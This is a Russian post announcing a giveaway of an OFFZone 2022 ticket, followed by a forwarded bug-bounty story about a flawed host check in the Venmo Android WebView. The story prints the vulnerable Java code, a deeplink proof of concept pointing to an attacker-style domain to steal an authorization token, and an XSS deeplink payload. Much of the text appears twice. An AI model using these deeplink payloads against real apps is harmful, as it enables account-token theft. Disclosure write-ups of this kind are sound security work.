Внимание, розыгрыш билета на OFFZone 2022!
Всем привет!
Как вы знаете, скоро будет проходить очень крутая конференция по безопасности - OFFZone 2022, которая пройдёт в Москве 25-26 августа!
И, так как я принимаю в ней небольшое участие, я хотел бы разыграть проходку на это замечательное мероприятие.
Вообще, проходок и конкурсов будет несколько, это только первый из них! Один будет творческим, второй более техническим.
Итак, суть конкурса простая, у каждого из нас есть история (или даже несколько) о самых прикольных, интересных, сложных или тупых уязвимостей, которые находились в мобильных приложениях. А может вы и сами когда-либо допускали такие ошибки?)
Расскажите об этом, как вы их искали, почему это запомнилось, что понравилось, может, даже написали статью или пост про это.
В общем любые веселые, хардкорные или интересные находки!
Писать можно в комментариях к этому посту или в наш чат c тегом #offzone1
В конце, как наберется достаточно историй (скажем, через 2 недели), я выберу ту историю, что понравилась больше всего и отдам бесплатную проходку на конференцию!
Думаю, что каждый из нас может вспомнить что-то интересное, давайте немного поностальгируем и повеселимся!
#offzone #offzone2022 #конкурс
Всем привет!
Как вы знаете, скоро будет проходить очень крутая конференция по безопасности - OFFZone 2022, которая пройдёт в Москве 25-26 августа!
И, так как я принимаю в ней небольшое участие, я хотел бы разыграть проходку на это замечательное мероприятие.
Вообще, проходок и конкурсов будет несколько, это только первый из них! Один будет творческим, второй более техническим.
Итак, суть конкурса простая, у каждого из нас есть история (или даже несколько) о самых прикольных, интересных, сложных или тупых уязвимостей, которые находились в мобильных приложениях. А может вы и сами когда-либо допускали такие ошибки?)
Расскажите об этом, как вы их искали, почему это запомнилось, что понравилось, может, даже написали статью или пост про это.
В общем любые веселые, хардкорные или интересные находки!
Писать можно в комментариях к этому посту или в наш чат c тегом #offzone1
В конце, как наберется достаточно историй (скажем, через 2 недели), я выберу ту историю, что понравилась больше всего и отдам бесплатную проходку на конференцию!
Думаю, что каждый из нас может вспомнить что-то интересное, давайте немного поностальгируем и повеселимся!
#offzone #offzone2022 #конкурс
Forwarded from Impact
#offzone1 Наливайте чай, устраивайтесь поудобнее. Расскажу вам сказ, о том как нашёл уязвимость в мобильном приложении от PayPal https://hackerone.com/paypal?type=team
А именно речь пойдёт об их активе com.venmo
В одно прекрасное утро, как обычно, решил закинуть apk в jadx, чтобы найти уязвимость.
Просматривая строки кода, один класс, второй... Ничего интересного. Тут уж я расстроился, думал перейти к следующему активу, но мой глаз зацепился за класс webview.
Да-да, там была интересная функция которая автоматически присваивала AuthorizationToken при загрузке страницы в WebView.
Естественно можно было отправить url прямо в класс через deeplink
— Возможно она реализована неверно. Подумал я вслух.
А код проверки был следующим:
5
4
Верно, здесь забыли добавить точку
Радостный (конечно, ведь баунти 10к$) начал писать отчёт на hackerone. Потирая руки, приговаривая:
— Триагер приди, триагер приди
Триагер пришёл. Поставил Triage. Ура!
А потом поменял на Duplicate. Указав что у них уже есть отчёт с этой ошибкой 401940 . Моему негодованию не было предела. Чтож поздравляю @bagipro хорошо поймал!
Естественно, я следил за дальнейшими обновлениями приложения. И к моему счастью (конечно, ведь баунти 10к$), обнаружил что отчёт #401940 помечен как resolved, а ошибка всё ещё осталась в приложении!
Быстро сев за клавиатуру, я начал пилить репорт. На следующий день триагер ставит мне дубликат. Как же так?
Поставив ультиматум с просьбой добавить меня в отчёт — Закинули сюда #450832. Чтож поздравляю @bagipro хорошо поймал (снова)!
Я пытался оспорить решение о том, что мой отчёт — дубликат, ведь мой отчёт был отправлен раньше #450832. Но триагеры были неумолимы. В итоге, смирившись, оставил эту затею.
Спустя год или два. PayPal наконец-то исправили приложение. Внеся невероятный Fix:
— Теперь пользователи PayPal в безопасности. Сказал вслух, закатывая глаза.
Однако, они по прежнему присваивают AuthorizationToken при загрузке url в webview. Нужно запомнить это знание.
Спустя два года, в мои цепкие лапы попала xss на поддомене
Не знаю, грустная эта история или весёлая. По крайней мере она мне кажется немного поучительной
P.S. история является реальной, все совпадения не случайны
А именно речь пойдёт об их активе com.venmo
В одно прекрасное утро, как обычно, решил закинуть apk в jadx, чтобы найти уязвимость.
Просматривая строки кода, один класс, второй... Ничего интересного. Тут уж я расстроился, думал перейти к следующему активу, но мой глаз зацепился за класс webview.
Да-да, там была интересная функция которая автоматически присваивала AuthorizationToken при загрузке страницы в WebView.
Естественно можно было отправить url прямо в класс через deeplink
venmo://webview?url=https://www.google.com/
Вот только там была проверка хоста. — Возможно она реализована неверно. Подумал я вслух.
А код проверки был следующим:
public static boolean isSecureVenmoHostUrl(Uri uri) {Вам даётся 5 секунд, на то чтобы найти ошибку.
boolean z = false;
if (uri == null) {
return false;
}
String host = uri.getHost();
String scheme = uri.getScheme();
if (host != null && scheme != null
&& scheme.equalsIgnoreCase(BuildConfig.SCHEME)
&& (host.endsWith(".venmo.com") || host.equals("venmo.com") || host.endsWith("venmo.biz")))
{
z = true;
}
return z;
}
5
4
Верно, здесь забыли добавить точку
host.endsWith("venmo.biz")
Недолго думая, я решил организовать PoC и проверить: <a href="venmo://webview?url=https://fakevenmo.biz/theft.html">PoC Intent Send</a>
К моему удивлению, url был успешно загружен и мне удалось украсть Authorization токен.Радостный (конечно, ведь баунти 10к$) начал писать отчёт на hackerone. Потирая руки, приговаривая:
— Триагер приди, триагер приди
Триагер пришёл. Поставил Triage. Ура!
А потом поменял на Duplicate. Указав что у них уже есть отчёт с этой ошибкой 401940 . Моему негодованию не было предела. Чтож поздравляю @bagipro хорошо поймал!
Естественно, я следил за дальнейшими обновлениями приложения. И к моему счастью (конечно, ведь баунти 10к$), обнаружил что отчёт #401940 помечен как resolved, а ошибка всё ещё осталась в приложении!
Быстро сев за клавиатуру, я начал пилить репорт. На следующий день триагер ставит мне дубликат. Как же так?
Поставив ультиматум с просьбой добавить меня в отчёт — Закинули сюда #450832. Чтож поздравляю @bagipro хорошо поймал (снова)!
Я пытался оспорить решение о том, что мой отчёт — дубликат, ведь мой отчёт был отправлен раньше #450832. Но триагеры были неумолимы. В итоге, смирившись, оставил эту затею.
Спустя год или два. PayPal наконец-то исправили приложение. Внеся невероятный Fix:
host.endsWith(".venmo.biz")
Верно, они добавили точку. — Теперь пользователи PayPal в безопасности. Сказал вслух, закатывая глаза.
Однако, они по прежнему присваивают AuthorizationToken при загрузке url в webview. Нужно запомнить это знание.
Спустя два года, в мои цепкие лапы попала xss на поддомене
.venmo.com
Недолго думая, составил deeplink venmo://webview?url=https://legal.venmo.com/index.php?p=<script>alert()<script>
Успешно применив знание, я отправил отчёт в PayPal, и заполучил заслуженный reward.Не знаю, грустная эта история или весёлая. По крайней мере она мне кажется немного поучительной
P.S. история является реальной, все совпадения не случайны